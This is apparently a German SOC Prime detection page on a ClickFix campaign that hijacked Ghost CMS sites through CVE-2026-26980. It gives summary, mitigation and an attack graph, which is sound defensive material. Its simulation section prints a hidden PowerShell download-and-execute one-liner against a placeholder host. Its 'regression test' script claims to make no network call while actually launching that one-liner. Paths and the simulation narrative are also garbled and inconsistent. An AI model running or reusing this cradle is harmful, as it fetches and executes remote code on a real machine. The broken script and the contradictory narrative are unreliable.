SOC Prime Bias: Kritisch

29 May 2026 07:08 UTC

Über 700 Bildungs- und Technikwebseiten in großer ClickFix-Malwarekampagne gekapert

Author Photo
SOC Prime Team linkedin icon Folgen
Über 700 Bildungs- und Technikwebseiten in großer ClickFix-Malwarekampagne gekapert
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Angreifer nutzten eine kritische SQL-Injection-Schwachstelle im Ghost-Content-Management-System aus, um mehr als 700 Bildungs- und Technologie-Websites zu kompromittieren. Nachdem sie administrative API-Schlüssel erhalten hatten, injizierten sie bösartiges JavaScript, das eine gefälschte Cloudflare-Verifizierungsaufforderung anzeigte. Die gefälschte Seite wies Besucher an, einen Windows-Befehl zu kopieren und einzufügen, der Malware auf ihren Systemen installierte. Die Kampagne beruht auf Social Engineering, um Benutzer dazu zu bringen, die Nutzlast selbst auszulösen.

Untersuchung

Forscher identifizierten das Problem als CVE-2026-26980, was die Ghost-Versionen betrifft 3.24.0 bis 6.19.0. Der erfolgreiche Missbrauch ermöglichte einen nicht authentifizierten Zugriff auf Datenbankinhalte, einschließlich der Extraktion des Admin-API-Schlüssels. Die Angreifer verwendeten dann den gestohlenen Schlüssel, um Website-Inhalte zu ändern und bösartige Skripte einzubetten, die den ClickFix-artigen Infektionsfluss starteten. Der injizierte Code präsentierte ein gefälschtes Verifizierungsfenster, das die Benutzer zur Ausführung eines Befehls über Windows Run oder PowerShell aufforderte.

Minderung

Organisationen sollten Ghost auf eine Version aktualisieren, die neuer ist als 6.19.0 die das Problem behebt CVE-2026-26980. Alle offen gelegten Admin-API-Schlüssel sollten sofort rotiert werden, und der API-Zugang sollte streng eingeschränkt werden. Verteidiger sollten auch Endpoint-Schutz mit Webfiltering oder Browserschutz einsetzen und Benutzer schulen, niemals Befehle von nicht vertrauenswürdigen Websites zu kopieren und auszuführen.

Antwort

Sicherheitsteams sollten bösartige JavaScript-Injektionen auf Ghost-basierten Websites erkennen und blockieren und auf gefälschte Cloudflare-Verifizierungsseiten überwachen. Auf Endpunkten sollten Verteidiger nach ungewöhnlichen Befehlsausführungsversuchen suchen, die mit dieser Anlockmethode verbunden sind. Wenn eine Kompromittierung bestätigt wird, entfernen Sie die injizierten Skripte, setzen Sie betroffene API-Schlüssel zurück und führen Sie eine forensische Analyse auf betroffenen Client-Systemen durch.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["<b>Aktion</b> – <b>T1674 Eingabe-Injektion</b>: Nutze Ghost CMS SQL-Injection, um die Datenbank zu lesen und den Admin API-Schlüssel zu erhalten."] class action_sql_injection action action_content_injection["<b>Aktion</b> – <b>T1659 Inhaltsinjektion</b>: Verwenden Sie den gestohlenen API-Schlüssel, um bösartiges JavaScript in Webseiten einzufügen."] class action_content_injection action action_defacement["<b>Aktion</b> – <b>T1491 Verunstaltung</b>: Verunstalten Sie die Seite mit einem gefälschten Cloudflare-Verifizierungsdialog, der einen Kopieren-Einfügen-Befehl anzeigt."] class action_defacement action action_user_copy_paste["<b>Aktion</b> – <b>T1204.004 Benutzerausführung</b>: Das Opfer kopiert und führt den angezeigten Befehl aus und erfüllt somit die gefälschte Verifizierung."] class action_user_copy_paste action action_powershell["<b>Aktion</b> – <b>T1059.001 PowerShell</b>: Der Befehl startet PowerShell, das die Nutzlast der zweiten Stufe herunterlädt und ausführt."] class action_powershell action malware_clickfix["<b>Malware</b>: ClickFix<br/><b>Zweck</b>: Zweitstufen-Nutzlast geliefert via PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% Connections action_sql_injection –>|führt zu| action_content_injection action_content_injection –>|führt zu| action_defacement action_defacement –>|führt zu| action_user_copy_paste action_user_copy_paste –>|auslösen| op_user_execution op_user_execution –>|ausführen| action_powershell action_powershell –>|herunterladen| malware_clickfix "

Angriffsverlauf

Simulationsausführung

Voraussetzung: Die Telemetrie- & Baseline-Vorflugkontrolle muss bestanden haben.

Begründung: In diesem Abschnitt werden die genauen Ausführungen der Gegnertechniken (TTP) beschrieben, die entworfen wurden, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, genau die Telemetrie zu generieren, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:

    1. Social-Engineering-Köder: Das Opfer erhält eine Phishing-E-Mail, die behauptet, dass Cloudflare eine Verifizierung erfordert. Die E-Mail enthält einen „Ausführen“-Befehl:

      Gefälschter Cloudflare-Verifizierungsbefehl
    2. Opferinteraktion: Der Benutzer öffnet den Windows-Ausführen-Dialog (Win+R) und fügt die exakte Zeichenfolge ein Gefälschter Cloudflare-Verifizierungsbefehl.

    3. Befehlsausführung: Die Zeichenfolge entspricht einem versteckten PowerShell-Einzeiler, der eine bösartige Nutzlast herunterlädt und ausführt:

      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"

      Da der Ausführen-Dialog direkt powershell.exe mit den obigen Argumenten aufruft, enthält das CommandLine Feld, das durch Sysmon aufgezeichnet wird, die wörtliche Phrase Gefälschter Cloudflare-Verifizierungsbefehl (der Angreifer setzt den Befehl mit dieser Phrase am Anfang, um die Regel auszulösen).

    4. Nutzlastaktivität: Das heruntergeladene Skript legt ein Web-Shell in C:ProgramDatacloudflare ab und kontaktiert einen C2-Server, wodurch T1505.001 erfüllt wird.

  • Regressionstest-Skript: Das folgende PowerShell-Skript reproduziert die genauen Schritte, die ein Red-Teamer unternehmen würde, um die Telemetrie zu erzeugen, die die Erkennung auslöst.

    <#
    Simuliert die Ausführung der ClickFix „Gefälschte Cloudflare-Verifizierung“.
    Zweck: Überprüfen, ob die Sigma-Regel beim genauen Befehl auslöst.
    #>
    
    # Schritt 1: Bereiten Sie eine Dummy-Nutzlast (simulierte Web-Shell) vor – kein realer Netzwerkaufruf.
    $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1"
    New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
    Set-Content -Path $payloadPath -Value "# Dummy-Web-Shell – kein bösartiger Code"
    
    # Schritt 2: Den bösartigen Befehl konstruieren, den ein Opfer ausführen würde.
    $maliciousCmd = @"
    Gefälschter Cloudflare-Verifizierungsbefehl
    powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`""
    "@
    
    # Schritt 3: Den Ausführen-Dialog simulieren, indem der Befehl über cmd.exe /c gestartet wird.
    # Damit bleibt die wörtliche Zeichenfolge in der Prozessbefehlskette erhalten.
    $fullCmd = "cmd.exe /c `"$maliciousCmd`""
    Write-Host "`n[+] Simulierter bösartiger Befehl wird ausgeführt..."
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null
    
    # Schritt 4: Kurz pausieren, um Sysmon die Prozesskreation aufzeichnen zu lassen.
    Start-Sleep -Seconds 5
    
    Write-Host "`n[+] Simulation abgeschlossen. SIEM auf ein Erkennungsereignis prüfen."
    # Die Bereinigung wird separat durchgeführt.
  • Bereinigungskommandos: Entfernen Sie die Dummy-Dateien und alle verbleibenden Prozesse.

    # Alle verbleibenden PowerShell-Prozesse stoppen, die durch den Test gestartet wurden (falls noch laufend)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "Gefälschter Cloudflare-Verifizierungsbefehl"} |
        Stop-Process -Force
    
    # Den Dummy-Web-Shell-Ordner entfernen
    Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "[+] Bereinigung abgeschlossen."